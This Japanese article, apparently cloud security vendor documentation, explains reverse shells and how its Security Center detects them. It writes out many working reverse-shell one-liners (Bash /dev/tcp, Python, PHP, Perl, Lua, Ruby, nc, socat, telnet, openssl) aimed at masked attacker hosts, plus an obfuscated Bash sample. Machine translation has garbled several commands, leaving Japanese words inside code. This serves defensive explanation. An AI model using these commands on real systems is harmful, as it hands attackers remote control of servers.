攻撃者はリバースシェルを使用して被害者サーバーを制御できます。 ほとんどの場合、被害者サーバーは内部ネットワークに存在し、ファイアウォールポリシーによって保護されています。 このタイプのサーバーは、転送接続を使用して侵入することはできません。 このトピックでは、リバースシェルの現在の状況、リバースシェルの一般的な検出方法、およびさまざまなタイプのリバースシェルを検出するアイデアについて説明します。 このトピックでは、Security Centerが提供する多次元検出テクノロジについても説明します。
逆シェルの概要
攻撃者はリバースシェルを使用して被害者サーバーを制御します。 攻撃者はサーバーを指定し、被害者サーバーが実行する必要がある標準入力、標準出力、または標準エラーをサーバーにリダイレクトします。 被害者サーバーは、攻撃者のサーバー上のプログラムに積極的に接続します。 サーバーは、被害者サーバーからの要求をリッスンし、被害者サーバーに要求を送信し、実行結果を取得します。 このようにして、攻撃者は被害者サーバーを制御します。
逆シェルの現状
Alibaba Cloudセキュリティチームは、リバースシェルを開始するために利用されるプログラミング言語とツールの割合を要約します。 比率は、Alibaba CloudのLinux Elastic Compute Service (ECS) インスタンスへの過去の侵入に基づいて取得されます。
分析結果では、Bash
の /dev/tcp
が、インタラクティブなリバースシェルを開始するために最も頻繁に利用されます。 /dev/tcp
は、Bash
の組み込みデバイスファイルです。 /dev/tcpはほとんどのシステムで使用でき、さまざまなシナリオでリバースシェルを開始するために使用できます。 Pythonプログラミング言語は、リバースシェルを開始する2番目のランクです。 Pythonは使いやすく、互換性が高く、柔軟性があります。 Goプログラミング言語は、リバースシェルの開始にも使用されます。 この図は、リバースシェルを開始するために使用できる他の言語とツールも示しています。 逆シェルの検出効率を向上させるためには、様々なシナリオに適した検出方法が必要である。
一般的な検出方法
一般的な検出方法は、正規表現を使用してリバースシェルの特性を抽出し、その特性に基づいてコマンドログまたはトラフィックログを一致させることです。 この方法には次の欠点があります。
収集されたコマンドログは不完全です。 Netlinkを使用してコマンドログを収集する場合、パイプまたはリダイレクト演算子を使用すると、完全な生コマンドを収集できません。 Bashをパッチする場合、特定のシナリオではコマンドログを記録できません。 たとえば、被害者サーバーがzshやkshなどの他のシェルを使用している場合や、攻撃者が自分でコンパイルしたBashスクリプトをアップロードした場合は、コマンドログを記録できません。
正規表現はすべての逆シェルを防ぐことはできません。 攻撃者は、正規表現ベースのマッチングをバイパスする新しい方法を継続的に探索します。 実際のシナリオでは、多数の複雑な正規表現を使用すると、パフォーマンスが低下します。 ただし、ルールが弱い正規表現を使用すると、誤検出が増加します。
コマンドログまたはトラフィックログは、リバースシェルの特性に基づいて照合できません。 ネットワークトラフィックが暗号化されると、リバースシェルの特性に基づいてコマンドログまたはトラフィックログを一致させることはできません。
さまざまなタイプのリバースシェルを検出するアイデア
リバースシェルの検出方法は、リバースシェルの基礎となるロジックに焦点を当てる必要があります。 検出の観点から、リバースシェルの基礎となるロジックは、ネットワーク通信、コマンド実行、およびリダイレクト方法の3つの部分に分けることができます。
3つの部分は一緒にデータチャネルを構築することができる。 攻撃者は、このデータチャネルを使用して被害者サーバーを制御する要求を送信できます。 3つの部分とそれらの異なる実装を利用して、さまざまなリバースシェルを開始できます。 次のリストでは、さまざまな実装について説明します。
ネットワーク通信は、TCP、UDP、およびICMPなどの異なるプロトコルを使用することによって実装され得る。 TCPは、HTTPおよびHTTPSを含む。 UDPはDNSを含む。
コマンドの実行は、シェルインタプリタ、GNU Cライブラリ (glibc) 、またはSyscallを呼び出すことによって実装できます。
リダイレクトは、パイプ、疑似端末のペア、およびメモリファイルを使用して実装できます。
検出の観点から、リバースシェルは次の3つのタイプに分類できます。
リバースシェルは、標準の入力と出力をソケットにリダイレクトします。
次の例は、このタイプのリバースシェルの最も一般的なコマンドです。
bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1
次の例は典型的です。
例 1:
bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1
例 2:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.XX.XX" 、6060)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.ca ll(["/bin/sh","-i"]);'
例 3:
php -r '$sock=fsockopen("10.10.XX.XX" 、6060);exec("/bin/sh -i <&3 >&3 2>&3");'
例 4:
perl -e 'use Socket;$i="10.10.XX.XX";$p=6060; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
例5:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.exe cute('/bin/sh -i <&3 >&3 2>&3');"
このタイプのリバースシェルは、bash -i
の標準入力、標準出力、および標準エラーを /dev/tcp Socket
にリダイレクトします。 次いで、ネットワーク接続が確立される。 次の図は、リダイレクトプロセスを示しています。
このタイプのリバースシェルを検出するには、標準入力と標準出力がソケットにリダイレクトされているかどうか、またはホストまたはネットワークログがこのタイプのリバースシェルの特性と一致しているかどうかを確認します。
リバースシェルは、パイプまたは疑似端子を使用して、標準の入出力をソケットにリダイレクトします。
このタイプのリバースシェルは、標準の入力と出力をパイプまたは疑似端子にリダイレクトします。 次の例は、リバースシェルがsh -i
の標準入力、出力、およびエラーを名前付きpipe /tmp/f
にリダイレクトすることを示しています。 この場合、暗号化された通信データは、名前付きパイプにも流れる。
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f
このタイプのリバースシェルは、ソケットへの接続を確立し、標準の入力と出力をパイプまたは疑似端子にリダイレクトします。 次のセクションでは、このタイプのリバースシェルの例を示します。
例 1:
nc 10.10.XX.XX 6060 |/bin/sh | nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX.: 6060
例 2:
mkfifo /tmp/f;cat /tmp/f |/bin/sh -i 2>&1 | nc 10.10.XX.XX 6060>/tmp/f
例 3:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 > /tmp/s; rm /tmp/s
例 4:
mknod backpipe p; nc 10.10.XX.XX 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
例5:
bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5 | 行を読んでいる間; do $line >&5 2>&1;done'
例6:
telnet 10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050
いくつかのシナリオでは、標準入力および出力は、データチャネルを形成するために数回リダイレクトされ得る。 データチャネルは、ファイル記述子とプロセスとの間の関係を追跡することによって検出することができる。
このタイプのリバースシェルは、より頻繁に開始されます。 疑似端子を使用して標準の入力と出力をリダイレクトする方法は使いやすいです。
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) pty.spawn("/bin/bash")'
疑似端子とパイプを使用して標準の入力と出力をリダイレクトする原理は同じです。 疑似端子を使用して標準の入力と出力をリダイレクトするリバースシェルは、検出が困難です。 これは、擬似端子の標準入出力がワーキング端子の標準入出力と同じだからである。 これらの疑似端末も、コンテナおよびサービスエージェントに同様のログを有する。 結果として、偽陰性および偽陽性が増加する。 このタイプのリバースシェルを検出するために、Security Centerはファイル記述子、プロセスログ、およびネットワークログの間の関係を分析します。
リバースシェルは、プログラミング言語を使用して標準入力をリダイレクトします。
このタイプのリバースシェルは、プログラミング言語を使用して標準入力をリダイレクトします。 標準出力とエラーのリダイレクト方法は限定されません。 次の例は、このタイプのリバースシェルの最も一般的なコマンドです。
python - c "exec(\" import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0 ',666))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE, シェル=True);s.send(proc.stdout.read()+ proc.stderr.read())\")"
攻撃者はプログラミング言語を使用して標準入力をリダイレクトします。 次のセクションでは、このタイプのリバースシェルの例を示します。
例 1:
python -c "exec(\" import socket, subprocess;s = socket.socket();s.connect(('10.10.XX. XX',6060))\nwhile 1: proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE;) s.send(proc.stdout.read()+ proc.stderr.read())\")"
例 2:
lua5.1-e'local host, port = "10.10.XX.XX.", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io (cmd, "r") local s = f:read("* a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
例 3:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX" 、"6060");while(cmd=c.gets);IO.popen(cmd,"r"){| io | c.print io.read}end '
リバースシェルと通常のサービスによって実行されるコマンドを区別することは困難です。 Security Centerは、このタイプのリバースシェルの特性に対してプロセスとコマンドをチェックします。 さらに、Security Centerは、異常なコマンドシーケンスと動作のモデル、および異常なシェル起動のモデルを使用して、このタイプのリバースシェルを検出します。
異常なコマンドシーケンスと動作のモデルは、Alibaba Cloud Realtime Computeに基づいて開発されています。 このモデルは、攻撃者が被害者サーバーを制御した後のコマンドシーケンスと動作を分析します。 次に、モデルは結果をこのタイプのリバースシェルの特性と比較して、リバースシェルが開始されるかどうかを判断します。 異常なシェル起動のモデルは、多次元特性と被害者サーバーの過去の動作に基づいてコマンドを分析し、リバースシェルが起動されるかどうかを判断します。 リバースシェルが開始されると、このモデルはアラートを生成するかどうかも決定します。
セキュリティセンターが提供する多次元検出方法
攻撃と防御の技術は常に絶え間ない対立の中で発展しています。 攻撃技術でブレークスルーが行われた場合、すべての防御技術が無効になる可能性があります。 リバースシェルのすべての検出方法、特にプログラミング言語を使用して標準入力をリダイレクトするリバースシェルを検出する方法は不完全です。 Security Centerは詳細な検出をサポートし、クロスディメンション方式を採用して逆シェルを検出します。 Security Centerは、特定のテクノロジーを使用して、さまざまな侵入段階でリバースシェルを検出します。 技術には、プロセス特性カバレッジ、ファイル記述子分析、コマンドシーケンスおよび動作分析、異常シェル起動、バイナリサンドボックス、スクリプトサンドボックス、トラフィック特性カバレッジ、および対策動作検出が含まれます。 これにより、逆シェルの検出効率が向上する。
Security Centerは、ファイル記述子、異常なコマンドシーケンスと動作、異常なシェル起動、一般的なコマンドとネットワーク特性を検出する方法を使用します。 詳細については、「異なるタイプのリバースシェルを検出するアイデア」をご参照ください。 セキュリティセンターは、次の検出方法も使用します。
Scriptサンドボックス
スクリプトを使用するリバースシェルの場合、Security Centerは特定のソリューションを提供します。
Security Centerは、サーバーに保存されているスクリプトを検出します。 スクリプトは、Bash、Python、Perl、VBScript、PowerShell、Batch、およびJARのプログラミング言語を使用できます。
"${@ ~~}" ${@^} " $BASH ${* %%$ 9tcW\)zX} <<<"$( "${@ ~~}" $'\162''e ${*}v <<<'
}^^ *{$") }^^ *{$ ; }4S :\{\/CZ.!\?// @{$ }^@{$"}~~ H7ONC{$"s % f\" t "n" ir *$p}@!{$
} 、*{$ }L>JO % *{$ && }ca\L&[\%@{$ '"'" '1&>0 3332/1.1.1.1/PCT/VED/ &> I- HSAB' "'"'=H7ONC
($"l}#VDG ~ g/g:fii\// * $a"}~ @{$ "v'" 'e' "'"' }~ *{$ '${@ ~} ${@} ^; ${* % S9;fj$^ Y} )" ${* %
,} ${
Security Centerは、各プログラミング言語のトレースモードを使用して、収集したログの難読化を動的に解除します。
近年、Javaアプリケーションの数が増加している。 JARパッケージを使用して開始される逆シェルも増加しています。 Security Centerは、JARパッケージなどのパッケージ化されたファイルを静的に逆コンパイルし、JARパッケージの実行状態を考慮して、リバースシェルが存在するかどうかを判断します。
攻撃と防御の対立はエスカレートしているため、ファイルレス攻撃はより一般的になっています。 Security Centerは、ファイルのないリバースシェルの検出方法を提供します。
バイナリサンドボックス
Security Centerは、C、C ++ 、Go、またはMeterPreterシェルコードを使用して開始されるバイナリ逆シェルを検出して処理します。 Security Centerは、バイナリファイルの関数特性、コード特性、および動的動作特性をサンドボックスにインポートして、バイナリ逆方向シェルを検出します。
トラフィック特性分析
Security Centerは、シェルの一般的な通信特性をサポートします。 これは、リバースシェルの検出効率を向上させるのに役立ちます。
検出のバイパス方法
Security Centerは、システムシェルの置き換えやコマンドコーディングなど、一般的なバイパス方法を特定できます。 これは、リバースシェルの検出効率を向上させるのに役立ちます。